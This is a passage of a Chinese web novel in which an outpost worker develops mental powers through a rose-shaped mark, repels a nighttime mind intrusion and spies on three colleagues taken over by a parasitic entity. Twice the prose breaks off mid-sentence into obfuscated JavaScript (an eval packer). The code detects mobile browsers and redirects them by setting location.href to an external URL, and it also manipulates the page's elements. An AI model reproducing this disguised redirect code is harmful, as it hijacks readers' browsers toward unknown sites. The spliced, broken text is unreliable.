前哨站白天的金属通道里总是飘着股淡淡的机油味,混着星际作物特有的清苦,就是她这几个月再熟悉不过的背景味。 自从昨天绕路避开赵锐,又在岔路口识破黑色能量的试探后,林星光的神经就没真正松过。她的精神力像一张拉得极轻的网,时刻铺开在周围,捕捉着任何异常的能量波动。 小推车的轮子碾过通道地面,发出轻微的咕噜声。 路过环境维护科门口的通道时,她的精神力捕捉到一丝微弱的黑色能量,淡得像快散开的烟。林星光脚步没停,但是却故意放慢了半拍,眼角余光飞快扫过科室门缝。 李文不在里面,但那股能量还在。 人离开了,能量却还有残留吗? 她没停顿,继续往前走。 仓储区和通讯科在不同的方向,按理说不会遇上孙小雅。 可刚拐过第二个拐角,颈侧的印记突然轻轻跳了一下,温温的暖意顺着皮肤蔓延开,是最近一直有的警示。 林星光立刻停下脚步,假装整理推车上的物资,精神力快速铺开。 三十米外的岔路口,一道纤细的身影正往这边走,正是孙小雅。 她正像大多数人一样低头刷着终端,看起来没什么异常。 可林星光能清晰地感觉到,她身上的黑色能量比昨天浓了些,像裹了一层薄薄的黑雾。 是他们升级了,还是他们体内的生命体变强了? 但无论如何,都不能让她靠近。 林星光当机立断,推着小推车转身就往旁边的维修间走。 维修间的门虚掩着,老王正蹲在里面修零件,叮当的敲击声传出来。 她敲了敲门,声音听起来软乎乎的:“王叔,陈叔让我送份维修清单过来,您这会儿方便吗?” 老王头也没抬:“进来吧进来吧,放桌上就行。” 林星光推开门进去,顺手把门掩到只剩一条缝。 她从小推车下面抽出事先准备好的清单放在桌上,故意跟老王闲聊:“王叔,您这修的是什么呀?看着挺复杂的。” “还能是什么,能量接收塔的配件,老出毛病。”老王啧了一声,手里的扳手敲得更响,“核心区发的东西越来越次,净折腾我们这些人。” 跟能量接收塔相关的东西都很昂贵,前哨站向来都是修了又修。不过话说回来,就算申请新的配件,核心区也不一定能通过。尤其是他们这个前哨站也并不是什么重要的站点。 林星光笑着附和,精神力一直留意着门外的动静。没过多久,脚步声从门口经过,停了几秒,又慢慢走远了。 颈侧的印记不跳了,那股淡淡的闷意也随之散去。 她松了口气,又跟老王聊了两句,确认孙小雅已经走远,才推着小推车离开维修间,继续往仓储区去。 这一整天,林星光就像在藏猫猫。 在食堂吃饭时,她特意选了个四周都坐满了人的位置,确保那三个人不会坐到自己身边来;去通讯科送物资时,她隔着老远就感知到孙小雅的能量,干脆把物资交给门口的同事,说自己还有别的事,转身就走;就连回宿舍拿东西,她都先在走廊尽头停一会儿,用精神力扫一遍通道,确认没有黑色能量的痕迹,才敢继续走。 前哨站就这么大,三百来号人,她却像在跟三个无形的影子捉迷藏。每一次感知到黑色能量,每一次避开他们的视线,都让她后背沁出一层薄汗。 可她脸上始终挂着那副讨喜的笑,跟人打招呼时语气依旧温软,没人能看出她心里的紧绷。 傍晚下班,林星光几乎是踩着点往宿舍走。刚走到宿舍门口,身后就传来一个轻柔的声音:“小林,等一下。” 林星光的脚步顿住,心里咯噔一下。 声音离得有点远,她想假装没听到。颈侧的印记微微发烫,那股熟悉的闷意又涌了上来。 她继续开门,那声音却更近了:“小林,等等我。” 林星光只好转过身,脸上已经扬起平日里的笑:“小雅姐?怎么啦?” 孙小雅站在离她两步远的地方,手里攥着个终端,脸上带着浅浅的笑:“我刚下班,回宿舍的时候正好看到你,就想着,能不能跟你借本书?” 借书? 林星光心里既莫名其妙又警铃大作。 前哨站的娱乐方式大多是刷终端,很少有人会带纸质书,她也不例外,孙小雅不可能不知道。 可她脸上没露半分异样,依旧笑得眉眼弯弯:“借书呀?但我没有书呢。我平时都刷终端看,没带纸质书。要不你去找找苏医生,她才从核心区过来没多久,说不定带着呢。” “这样啊。”孙小雅往前凑了半步,目光越过林星光,往宿舍里扫了一眼,“我还以为你会带几本过来呢,核心区那边最近新出了几本小说,挺火的,我想着你也是年轻人,应该会有。” 林星光下意识地往门口挪了挪,挡住了她的视线:“没呢,纸质书太贵了,买不起。不过那几本小说我知道,小雅姐要是想看,我在终端上推荐给你,电子书比纸质书划算些。” “不用不用。”孙小雅摆摆手,眼神又往宿舍里扫了一圈,“我就想看看纸质书,我喜欢纸质书的手感。既然你没有,那我就不打扰你了。” 她说着,却没立刻走,站在原地,目光在宿舍门把手上顿了顿,又扫过门板和门框的缝隙。 这意图也太明显了吧。 孙小雅根本不是来借书的,借书只是个借口而已。 可她到底是什么目的,林星光也不太确定,不过她并不想跟她单独相处,所以她也没戳破,依旧维持着表面的平和:“要是以后我买了纸质书,一定跟你说。小雅姐还有别的事吗?我刚下班,想赶紧回宿舍歇会儿。” 借口没了,她总不至于还想进去坐坐吧? 估计对方也觉得这样不合适,道别之后就走了。 林星光看着孙小雅的背影往走廊尽头走,直到那道身影消失,她才收回目光。颈侧的印记还在微微发烫,那股闷意也没完全散去,显然孙小雅没走太远,还在附近停留。 她不敢耽搁,赶紧进去,反手就将门反锁。 靠在门板上,林星光长长地吐出一口气。 孙小雅的举动太反常了,结合之前赵锐在自己宿舍门口停留,李文送点心带黑色碎片,她心里隐隐有了更加不好的预感。 她走到洗手间,对着镜子拉开衣领。颈侧的蔷薇印记依旧是淡粉色,边缘泛着极淡的光泽,温热的触感贴在皮肤上,轻轻跳动着,像是在安抚她的情绪。 “他们今晚会不会来呢?”林星光盯着印记,有些不确定单凭一扇宿舍门能否抵抗住那三个人,“不过,这是在前哨站,有三个B级异能站坐镇,他们也不敢乱来吧。” 印记轻轻跳了两下,像是在回应。 林星光扯了扯嘴角,露出一点算不上轻松的笑。 蔷薇的能量不足,能做到的有限,真正能靠的,还是自己。 她简单洗漱了一下,把外套脱了,换上轻便的家居服。 她只打开了书桌旁的小台灯,昏黄的光刚好照亮一小块空间,不是很亮,但也不至于让房间完全陷入黑暗。 她坐在书桌前,闭上眼睛,开始集中精神。 这几天她一直在练习感知,现在她要把精神力铺得更开,延伸得更远。 时间一分一秒地过去,宿舍里静得只能听到自己的呼吸声。 前哨站的人造照明系统也切换到了夜间模式,走廊里偶尔传来几声的脚步声,很快又归于平静。 林星光的精神力一直保持着紧绷的状态,感知着周围的能量变化。走廊里的能量大多是平稳的淡白色,偶尔有异能者出现,能量颜色看起来也很正常。 时间越来越晚,走廊里的动静越来越少,林星光的心也越来越沉。 孙小雅的那团黑色能量还在走廊尽头的方向,一直没有消失,像是在蛰伏,等着最佳的时机。 不知道过了多久,林星光的眼皮开始发沉。连续几天的紧绷让她身心俱疲,即使强撑着,睡意也像潮水一样涌上来。她的精神力开始有些涣散,感知范围慢慢缩小,最后只能勉强覆盖宿舍内部。 她靠在椅背上,不知不觉就睡着了。 半睡半醒间,林星光感觉自己像是陷在一团冰冷的雾里。周围都是灰蒙蒙的,没有声音,没有光线,只有一股刺骨的寒意,顺着皮肤往骨头里钻。 她想睁开眼睛,可眼皮重得像粘了胶水,怎么也睁不开。想动,四肢却像被按住了一样,动弹不得。 就在这时,一股异样的感觉顺着她的意识钻了进来。 那感觉很奇怪,像是一根冰冷的针,又像是一条滑腻的蛇,带着股说不出的恶意,一点点探进她的梦境,在她的意识边缘徘徊、试探。 冰冷,黏腻,有非常强烈的侵略性。 林星光的意识猛地清醒了大半。 不是梦! 有什么东西正在试图侵入她的意识! 那么熟悉,那么冰冷,比白天的强烈了无数倍,直接作用在了她的意识层面! 林星光的心脏狂跳起来,恐惧感像藤蔓一样缠住了她的四肢百骸。 她想喊,却发不出任何声音;想挣扎,身体却依旧无法动弹,只能眼睁睁看着那股冰冷的意识一点点深入,像是要在她的脑子里扎根。 “滚开……” 林星光在心里疯狂地呐喊,用尽全身的力气抵抗。 不要!绝对不要进来! 就在这时,颈侧的蔷薇印记突然炸开一股滚烫的热。 那热度来得又快又猛,如同一团火在皮肤下面燃烧,瞬间驱散了身上的寒意。 紧接着,温暖的能量从印记里涌出来,顺着她的血管流遍全身,最后汇聚到她的脑海里,给她的意识镀上了一层保护膜。 是蔷薇! 林星光像是抓住了一根救命稻草,原本涣散的精神力瞬间集中起来。 她不知道该怎么运用精神力反击,只能凭着本能,把所有的意念都集中在“滚开”这两个字上,借着蔷薇传递来的温暖能量,对着那股冰冷的意识狠狠撞了过去。 “滚开!” 她知道自己喊出声了! 她能清晰地感觉到,自己的精神力像是一股无形的浪潮,带着蔷薇赋予的暖意,撞向了那股冰冷的意识。 下一秒,那股冰冷的意识像是被烫到了一样,猛地一顿,然后以更快的速度缩了回去,瞬间消失得无影无踪。 束缚感消失了。 林星光猛地睁开眼睛,大口大口地喘着气。 宿舍里依旧是昏黄的小夜灯,窗外的夜色依旧浓重,一切看起来都和之前一样。 刚才的一切仿佛是个噩梦。 可她额头在冒冷汗,她胸口的心脏在狂跳,她颈侧的印记依旧滚烫。 那不只是个梦。 她真的被人入侵了意识,又真的凭着自己的力量,把对方赶了出去。 林星光扶着书桌,慢慢站起身,腿还有点发软。 她拿起书桌上的小镜子,借着微弱的灯光看向自己的脸。 脸色苍白,眼神里还有未散的惊惧。 有些让人难以置信,但她做到了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238689|197063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她一个没有异能的普通人,竟然用精神力完成了反击。 颈侧的印记还在发烫,热度慢慢降了下来,变成了温和的暖意。 那股暖意顺着脖子往上蔓延,最后停在了她的脑门附近。 温温的,轻轻的,像是有人用手掌轻轻抚着她的头顶,舒缓着她紧绷的神经。 林星光愣住了。 她抬手,轻轻碰了碰颈侧的印记。温热的触感传来,印记还在轻轻跳动着。 “你这是……在摸我的头?” 她小声地问。 难道是个年长的,所以喜欢摸人头?可那天那虚影的声音,听起来分明还很年轻。 可能因为蔷薇现在只能让人感觉到一点点能量,所以无端被摸头的林星光倒是没觉得被冒犯,只是心里有些莫名其妙。 印记轻轻跳了一下。 林星光看着镜子里的自己,看着颈侧那枚淡粉色的蔷薇印记,突然忍不住笑了。 劫后余生的庆幸再加上点莫名的温暖,浅浅地挂在嘴角,眼底也泛起了一点真实的光亮。 孙小雅今晚的入侵只是一个开始。那三个被侵蚀的能量源,还有背后的寄生体,绝不会轻易放弃。 这些她都知道。 可此刻,她心里反而多了一点底气。 她不再是那个只能被动躲避的普通人了。 她能感知能量,能运用精神力反击了。 林星光抬手,轻轻抚摸着颈侧的印记,指尖感受到那微弱而坚定的跳动。 那次冲击波,说不定还是她的机遇呢,让她一个无法激发异能的普通人有了精神力…… 这一晚,林星光没再合眼。 她坐在书桌前,一点点梳理着刚才反击时的感觉。 精神力的涌动轨迹,蔷薇能量的融合方式,还有那股冰冷意识撤退时的慌乱,都被她在脑子里反复回放。 天快亮时,她才靠着椅背,浅浅地睡了二十分钟。 闹钟一响,她立刻起身,快速洗漱换好工装,拉链依旧拉到顶,遮住颈侧的印记。 出门时,林星光的精神力习惯性地铺开,足够覆盖走廊。昨晚的反击耗了她不少精力,但她的精神状态却比前几天好了很多。 她要先去食堂吃早饭,再去仓储区交接今天的工作。 刚走到食堂门口,林星光的脚步就顿住了。 早餐窗口前,孙小雅正站在那里打饭。 林星光的精神力第一时间捕捉到了她的气息,她虚弱了太多,淡得像被风吹散了一半。 她抬眼望去,心脏微微一缩。 孙小雅不对劲。 昨天的她,妆容精致,工装熨帖,整个人透着干练,因为是异能者,气色也很好。 可今天的孙小雅,像是被抽走了大半精气神。 脸色白得像纸,毫无血色的惨白,连嘴唇都泛着白。眼下是浓重的乌青,眼袋肿得老高,像是一整晚没睡。 她似乎都没有心思打理自己,头发乱糟糟的,有几缕贴在额角,工装也皱巴巴的,少了平时的整洁。 动作很慢,拿着餐盘的手在微微发抖,打饭时,连食堂阿姨递过来的包子都差点没接住。 食堂阿姨显然也看出了不对劲,嗓门大得整个窗口都能听见:“小孙啊,你这是咋了?脸色这么难看,是不是病了?要不请个假,去医疗站看看?” 孙小雅勉强扯了扯嘴角,笑得比哭还难看,声音沙哑:“没事阿姨,就是昨晚没睡好,有点低血糖。” 她说着,端着餐盘就想往角落走,脚步虚浮,走了两步还踉跄了一下。 林星光站在门口,把这一切都看在眼里。 看来昨晚偷袭的人,就是她了。不知道另外两个有没有参与。 不过,昨晚的偷袭,看起来不是没有代价的。 她能感觉到,孙小雅身上的黑色能量弱了很多,而且变得紊乱不堪。 原本凝聚的黑色雾气,被人狠狠打散,成了一团团飘忽不定的碎影。 显然,昨晚偷袭被反击,不仅让她的精神力受损,连带着寄生在她身上的黑色能量,也遭到了重创。 孙小雅像是有所感应,猛地抬起头,往食堂门口的方向看来。 四目相对的瞬间,林星光清晰地看到了她眼底的东西。 惊惧,怨恨,以及一丝藏不住的忌惮。 林星光没有躲开,也没有露出任何异样的表情,只是像平时一样,对着她笑着点了点头,算是打过招呼。 然后,她收回目光,抬脚走进食堂,径直走向另一个早餐窗口。 排队时,孙小雅的目光一直黏在她身上。那视线阴鸷得不容忽视,但她确实又没有再靠近,只是盯着林星光。 林星光假装没察觉,跟食堂阿姨要了早饭,端着餐盘,找了个认识的人坐在了她对面。 刚聊了两句,吃了口早餐,食堂门口又有熟人来了。 是赵锐。 赵锐今天的状态也不太好,脸色蜡黄,眼底有红血丝,取了早餐坐下后就端起豆浆猛喝。他狠狠地皱着眉,大口地吃着早餐,林星光也能感知到对方身上的黑色能量也有些消散,但似乎不如孙小雅那般严重。 看来,昨晚的事,赵锐和李文大概率是知道的。甚至可能,他们三个本来就约好,孙小雅负责主攻,他们在旁边接应。 孙小雅失败了,他们也受到了影响。 她吃完早饭,放下餐盘,径直走出了食堂。 阳光透过食堂的落地窗照进来,落在她的后背上,带着暖意。 她摸了摸颈侧的蔷薇印记,那里依旧是温温的。 昨晚的反击,是她的第一次胜利。 但这只是开始。 17. 终于又说话了 林星光从食堂出来的时候,恒星的光正好落在通道口的金属墙壁上,反射出刺眼的光。 她眯了眯眼,径直往后勤科走。 经过昨晚那次反击,她现在有了点底气,暂时不打算东躲西藏了。 孙小雅那张惨白的脸,赵锐那副萎靡的样子,还有两人身上明显变弱的黑色能量,都让她知道:昨晚那场意识层面的交锋,比想象中的更伤对方。 她抬手摸了摸颈侧的印记,那股暖意的存在,像是某种无声的陪伴。 后勤科的门开着,老陈已经坐在里面了,正对着终端皱眉。看见她进来,将手里的终端随手一扔:“来了?正好,站长那边又发通知了,说下个月核心区要来调查组,让我们提前准备材料。” 林星光心里一动,笑着应了声:“调查组?来查什么?” “例行巡查,检查前哨站的运行情况。”老陈撇撇嘴,“我看就是闲的,核心区那帮人吃饱了没事干,跑到我们这犄角旮旯来折腾。” 陈叔总是对核心区的人抱怨很多呢。 林星光走到自己的座位前坐下,打开终端。屏幕上跳出一排排工作安排,她的目光扫过去,心思却飘到了别处。 调查组要来。 这意味着前哨站会有外人进来,意味着那三个人可能会收敛一点,也意味着—— 她也不能做得太出格,尤其是在调查组离开之前。毕竟她只是个普通人,如果被调查组发现了什么异常,估计会非常麻烦。 老陈还在旁边絮叨:“材料都堆成山了,站长说三天内整理好。你帮我分担点,把去年的物资申领记录再过一遍,缺什么补什么。” “好嘞。”林星光应了一声,在终端上点开了物资申领的数据库。 屏幕上的记录一条条滚动,她按时间排序,从去年八月开始往后翻。翻到昨天的时候,手指顿了一下。 赵锐、李文和孙小雅三个人,又在同一天申领了高浓度能量补充剂。 每人三瓶。 林星光盯着屏幕上的数字,眉头轻轻皱起。 三天前他们刚申领过,每人两瓶。现在又申领,每人三瓶。这东西普通人完全禁用,低阶异能者也要慎用,用多了会能量紊乱…… 他们这是在补能量?为了昨晚来偷袭自己? 林星光继续往下翻,不过没什么新的发现。 中午吃饭,林星光不打算去食堂。 她坐在后勤科的椅子上,从抽屉里翻出早上买的两个包子,就着保温杯里的热水慢慢啃。老陈倒是每顿饭都按时去食堂,办公室里就她一个人。 颈侧的印记突然跳了一下。 林星光放下包子,熟门熟路地把精神力铺开。 三十米内,没有黑色能量。 她又把范围扩大了一点,五十米。还是没有。 不是预警吗?为什么跳? 她正疑惑着,一股暖意从印记里涌出来,顺着脖子往上走,最后停在太阳穴附近。温温的,轻轻的,像有人用手指按在那里。 林星光愣了一下。 这是在干什么? 她想了想,试探着问:“你是想让我继续练习?” 印记跳了一下。 林星光沉默了几秒,然后扯了扯嘴角。 这家伙,还操心这个? 她把最后一口包子塞进嘴里,喝了两口水,然后闭上眼睛,重新开始集中精神。 这几天她一直在练感知,能铺开五十米左右,能分辨不同能量的颜色和强弱。 但昨晚的反击让她意识到,精神力不仅能用来“看”,还能用来“做”点什么。 她试着把精神力往内收,凝聚成一小团,在脑海里慢慢转动。 那股暖意还在,温温地贴着,像是在帮她稳住心神。 林星光深吸一口气,把那一小团精神力慢慢往外推,像伸出一根看不见的触角,轻轻地探向周围。 触角伸到门口,探出门缝。一开始,精神力还有些涣散,刚探出门就晃悠悠地散了。林星光没有急,深呼吸几次,重新凝聚意念。 好几次之后,终于顺利出了门,到了走廊上。 走廊里没人,淡淡的白色能量平稳又温和。 她又把触角伸远了一点,伸到隔壁的储物间。 储物间里堆着各种杂物,纸箱子上裹着淡淡的灰白光。 触角继续往前伸,伸到走廊拐角的地方。 就在这时,她感觉到了一点不一样的东西。 那是一种几乎察觉不到的波动。 林星光皱了皱眉,把触角收回来一点,又伸出去。 这次她感知得更清楚了。 是能量残留。 有人在这里站过很久,留下了能量痕迹。 林星光的心跳漏了一拍。 她把触角顺着走廊继续往前伸,一直伸到尽头。那里有一团黑色的能量,在那里站着,一动不动。 林星光额头上沁出了一层薄汗,她收回触角,睁开眼睛。 刚才那一下,消耗比她想象的大。 但她也发现,她的精神力不仅能感知,还能更精细地操控。像刚才那样凝聚成触角,伸到更远的地方去“看”,虽然范围不大,但比单纯铺开要省力,也更能捕捉到细节。 她抬手摸了摸颈侧的印记。 那股暖意轻轻跳动着。 林星光笑了笑,又闭上眼睛。 这一下午,她就在后勤科里,一边工作,一边一遍遍地练习。 把精神力凝聚成触角,伸出去,收回来;再凝聚,再伸出去,再收回来。从门口到走廊,从走廊到拐角,从拐角到更远的地方。 每次消耗得差不多了,那股暖意就会涌出来,帮她恢复。然后她继续练。 傍晚的时候,她已经能把触角伸到一百米外。 老陈一个下午都在外面晃,说是送材料,回来的时候,她已经收工了,正坐在椅子上整理记录。 老陈看了她一眼,嘟囔了一句:“一下午就坐这儿?也不出去走走。” “嗯。”林星光笑着应了声,“陈叔材料送完了?” “送完了,站长又叨叨半天。”老陈一屁股坐下,端起保温杯灌了两口,“活干完就回吧,明天早点来。” “好。” 晚上回宿舍,林星光洗漱完,躺在床上,闭上眼睛,把精神力凝聚成一根极细的触角,慢慢往外伸。 触角穿过宿舍门,伸向走廊。 今晚的走廊很安静,大多数人都睡了,只有几间宿舍里还透出微弱的白光,是还没睡的人在刷终端。 触角继续延伸,然后遇到了赵锐的黑色能量。 他的能量比白天强了一点,但还是没有恢复到之前的浓度。显然昨晚的反噬,对他也有影响。 触角慢慢靠近那团黑色能量,在离它半米的地方停下来。 林星光屏住呼吸,有些犹豫,但片刻后,还是大着胆子把触角往前探了一点。 蔷薇没提醒她,那说明这个事应该不太危险。 刚一碰到黑色能量的边缘,冰冷的感觉就顺着触角传来。她迟疑一下,却没收回触角,继续往里探。 然后她听到了一个声音。 “……任务进度……接触时长不足……能量评估中……” 声音断断续续的,像信号不好的通讯,夹杂着刺啦刺啦的杂音。 林星光把触角又往里探了一点。 这次她听到了赵锐的声音在脑子里响起来,他压抑着怒气,十分的不耐烦: “我知道,别催!她总躲着我,我能怎么办?” 之前那个声音又响起来: “……接触时长不足……无法完成标记……继续执行……” 赵锐的声音更暴躁了:“我有什么办法?她跟那个老陈形影不离,宿舍门也关得严严实实,我怎么接触?总不能硬闯吧?” 另外一个声音: “……任务优先……自行调整策略……” “知道了!” 林星光等了好久,也没听到他们继续说话。她收回触角,身体微微发抖。 那是什么东西?! 是蔷薇之前说的生命体吗? 接触、标记、任务优先…… 那个生命体在给赵锐下达任务?! 林星光深吸一口气,强迫自己冷静下来。 她抬手摸了摸颈侧的印记,那股暖意轻轻跳动着。 “你听见了吗?”她小声问。 更清晰的暖意从印记里涌出来,像某种无声的安抚。 林星光笑了笑,又闭上眼睛。 她还要继续。 这一夜,她试了好几次,但很可惜并没有更多的收获。 她也试着把触角伸向李文和孙小雅。 两边都很安静,什么都没听到。 这种行为很耗精力,林星光收回触角的时候,眼睛都快睁不开了,躺在床上迷迷糊糊的。 就在这时,脑子里突然响起一个声音。 又轻又淡,像风拂过花瓣: “别太累。” 林星光猛地惊醒。 四周空无一人。 “蔷薇?”她在心里试探着叫了一声。 没回应。 但那股暖意更浓了。 林星光等了半天,再没声音,但她心里踏实了很多。 她忍不住笑了。 第二天,林星光顶着两个黑眼圈去上班。 老陈看见她,愣了一下:“你昨晚干嘛去了?偷牛了?” “没睡好。”林星光打了个哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252712|197063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欠,“陈叔早。” 老陈摇摇头,没再多问。 上午的工作按部就班。林星光去仓储区核对了一次物资,又去维修科送了两份配件清单。一路上她都在练习,把精神力凝聚成触角,探向周围。 那三个人的位置很容易就探查出来了。 赵锐在防卫队训练场,李文在环境维护科办公室,孙小雅在通讯科观测台。他们都乖乖待在自己的位置,没有像前几天那样到处乱窜。 是昨晚的反噬让他们收敛了,还是在酝酿什么别的计划? 林星光不确定。 不过,精神力越用越顺手了。 下午的时候,她找了个机会,又把触角伸向了赵锐。 赵锐还在训练场,正跟几个防卫队的人对练。他的黑色能量比昨天浓了不少,显然是那三瓶补充剂起作用了。 林星光把触角探进去。 什么都没有。赵锐脑子里只有对练的节奏,出拳、防守、侧身、躲闪,偶尔冒出一两个念头,比如晚上吃什么,夜巡的事,有个队友最近好像对他有意见之类的。 她等了很久,没等到那个声音。 收回触角的时候,林星光有点失望,但也觉得正常。 总不能每次都有收获。 她继续整理手头的记录,过了一个小时,又把触角伸出去。 这次赵锐在休息,坐在训练场边喝水。 还是什么都没有。 林星光收回触角,靠在椅背上,盯着天花板发了一会儿呆。 她突然意识到一个问题。 那个东西,可能并不是随时都在跟赵锐交流的。 就像发完指令的上司,不会一直盯着下属干活。 那三个人大多数时候,脑子里只有自己的念头。 所以她用触角去探,大部分时候什么都探不到。 这个认知让她有点泄气,但也让她更清醒。 傍晚下班,她去食堂吃饭。 这个点食堂人很多,闹哄哄的,各种声音混在一起。林星光端着餐盘找了个靠墙的位置,刚坐下,余光就瞥见一个人影。 李文端着餐盘,正往她这边走,脚步在她旁边停了一下,然后—— 走过去了。 他坐到了离她三张桌子远的地方,安静地低头吃饭。 林星光愣了愣。 什么意思? 不接近她了? 她一边吃饭,一边用精神力悄悄探过去。李文身上的黑色能量还在,比昨天恢复了不少。他的脑子里很安静,没有任何异常。 林星光收回触角,心里反而更不踏实了。 他们换策略了? 吃完饭回宿舍的路上,她又试着探了探孙小雅。 孙小雅在观测台值班,一个人坐在控制台前,盯着屏幕上滚动的数据。她的意识比李文和赵锐都安静,安静得像一潭死水。 没有那个声音。 什么都没有。 林星光收回触角,加快脚步回了宿舍。 关上门,反锁,靠在门板上。 暖意从印记里涌出来,轻轻包裹着她,像一只看不见的手,在帮她舒缓紧绷的神经。 “谢谢。”她小声说。 暖意轻轻跳了一下。 林星光笑了笑,洗漱完练习了一会儿后就睡了。 第二天,林星光照常去上班。 老陈还是那副样子,叼着没点燃的烟,对着终端发愁。看见她进来,抬了抬眼皮:“来了?今天把去年的设备维修记录再过一遍,上面要。” “好。” 林星光坐下,打开终端。 上午的工作很平静。她一边整理记录,一边用精神力感知那三个人的位置。他们还是在自己的岗位上,没有异常。 中午吃饭,她没去食堂,还是吃包子。 下午继续整理记录。 傍晚下班,回宿舍。 一切看起来都正常得不能再正常。 但林星光的神经一直绷着。 她不知道那个东西会在什么时候动手,也不知道那三个人会在什么时候行动。 晚上,她又把触角伸出去。 赵锐,安静。 李文,安静。 孙小雅,安静。 林星光收回触角。 她突然有一种感觉。 那个东西,可能也在等。 等一个时机。 她摸了摸颈侧的印记,小声说:“明天,我想去探探王磊。” 这次暖意没有立刻回应。 沉默了很久。 久到她以为不会有回应了,那个声音才在脑子里响起: “小心。” 林星光愣了愣,然后笑了。 “知道了。” 18. 两人围堵 等忙完一天的工作再去医疗站看王磊的时候,已经是晚上的饭点了。 林星光站在医疗站门口,手里拎着一袋核心区补给过来的水果干,用林星光自己的积分换的。 她在门口站了两秒,先把精神力铺开,像撒网一样往四周蔓延。 五十米内,没有黑色能量。 她又把范围扩大了一点,探向走廊尽头,探向拐角后面的通道,探向通往观测台的那个岔路口。精神力探头探脑地扫了一圈,还是没有。 那三个人都不在附近。 林星光收回精神力,推门进去。 医疗站里还是那股味道,淡淡的药味,混着一点营养液的甜腻。前台没人,说不定是吃饭去了。 她往里走了几步,看见小苏正蹲在柜子前面翻东西。 “苏医生。”林星光开口。 小苏吓了一跳,转过头看见是她,松了口气:“是你啊,吓我一跳。来干嘛?身体不舒服吗?” “没有,来看看王哥。”林星光晃了晃手里的袋子,“顺便给你带点吃的,感谢你之前的照顾。” 小苏眼睛亮了一下,但还是推辞了一下才接过去,看了看:“水果干?最近正好有点馋,你怎么知道?” 前哨站也就那些东西,你就算馋别的我也没有啊。 不过,话当然不能这样说。 “猜的。”林星光笑了笑,“王哥今天怎么样?” 小苏把袋子放在桌上:“还是老样子,昏迷着。最近能量波动更厉害了,稳定液换得越来越勤。再这样下去,医疗舱的储备都不够用了,得跟核心区申请新的。真要断货了,我可没法子。” 前哨站异能者并不多,稳定液也有定数。无故申请,不太好批。就算批了,也要等配送。 不过林星光没接话,往里面的观察区走。 王磊的舱位在最里面,医疗舱里的男人闭着眼睛,脸色苍白,看起来比上次来看时更糟糕。 嘴唇干裂,起了一层白皮,有几块翘起来。手放在身侧,手指微微蜷着。 林星光站在舱位旁边,低头看着王磊。 小苏跟过来,站在她旁边,叹了口气:“也不知道怎么回事,各项指标都正常,就是能量值一会儿高一会儿低,跟过山车似的。昨天半夜我值班时又发作了一次,警报响了二十分钟,我差点以为他要不行了。通知了杨医生,他半夜爬起来,看了半天也看不出问题。” 林星光附和着点点头,说要在这里站一会儿,小苏走开后就悄悄把精神力凝成一根极细的触角,慢慢探向王磊。 这几天她一直在练这个,已经熟练了很多。触角又细又韧,能伸到很远的地方,也能探进很深的意识空间。 刚一碰到王磊的身体,就感觉到一股混乱的能量波动。像暴风雨中的海面,两种颜色的光点在里面冲撞、撕裂,黑色的跟淡铜色的,搅成一团混沌。 淡铜色是王磊自己的,黑色的则跟那三人的如出一辙。 她没退缩,只是放慢速度,让精神力触角变得更细、更柔,像一根细细的丝线,避开那些狂暴的能量流,往意识深处探。 穿过那层混乱的能量,她看到了王磊的意识空间。 一片灰蒙蒙的虚空,到处都是乱窜的能量流。 黑色能量流像刀子一样,在空间里四处切割,留下一道道裂痕。裂痕出现又消失,消失又出现,周而复始。有些裂痕刚愈合,又被新的能量流撕开。 但在空间的最深处,有一小块地方是平静的。 那里蜷缩着一个模糊的淡铜色影子。 林星光把触角伸向那个影子。 那应该王磊的意识体。 他蜷缩成一团,双手抱着膝盖,头埋着,整个人缩成小小的一团。周围的混乱能量流到他身边的时候,会自动绕开,像是被什么东西挡住了。 林星光把触角又靠近了一点。 “……不要……不答应……我拒绝……走开……” 声音像梦呓一样,断断续续的。 “我不答应……天上不会掉馅饼……不答应……都是骗人的……骗人的……” 林星光的触角在他身边停住。 他在抵抗。 王磊在抵抗。 王磊是那晚那起能量波冲击事件中唯一一个还昏迷的人。包括林星光在内的其他几个都醒了,活蹦乱跳的,只有他躺在这里,昏迷不醒。 她一直想不通为什么,现在好像懂了。 那三个人答应了,他拒绝了。 所以那三个人醒了,他没醒。 所以那三个人被蔷薇称作是被侵蚀的能量源,而他没有。 林星光把触角又往前探了一点,轻轻地碰了碰王磊的意识体。 那一瞬间,王磊的意识体猛地一颤。 他抬起头,像是感觉到了什么,眼睛往林星光触角的方向看过来。但他的眼神是涣散的,没有焦点,只是在虚空中茫然地搜寻。 “谁?”他问,声音沙哑,“谁在那儿?” 林星光没学会用触角说话,只好让触角又轻轻碰了碰他。 王磊的意识体抖了抖,又蜷缩起来,嘴里继续念叨:“不答应……不答应……别想骗我……” 林星光收回触角瞬间,看见王磊睁了一下眼。 就一下。 那双眼睛对上她的目光,然后眼皮又阖上,恢复成之前的样子。 林星光的心跳漏了一拍。 她站在原地,盯着王磊的脸看了几秒。他依旧闭着眼睛,平静得像什么都没发生过。 但他刚才那一眼,她确定自己没看错。 小苏在旁边翻东西,没注意到这边的动静。林星光往后退了一步,转身往外走。 “走了?”小苏抬起头。 “嗯。”林星光点点头,“我就是过来看看。” “行。”小苏摆摆手。 林星光走出医疗站,门在身后关上。她站在走廊里,深吸一口气,然后慢慢吐出来。 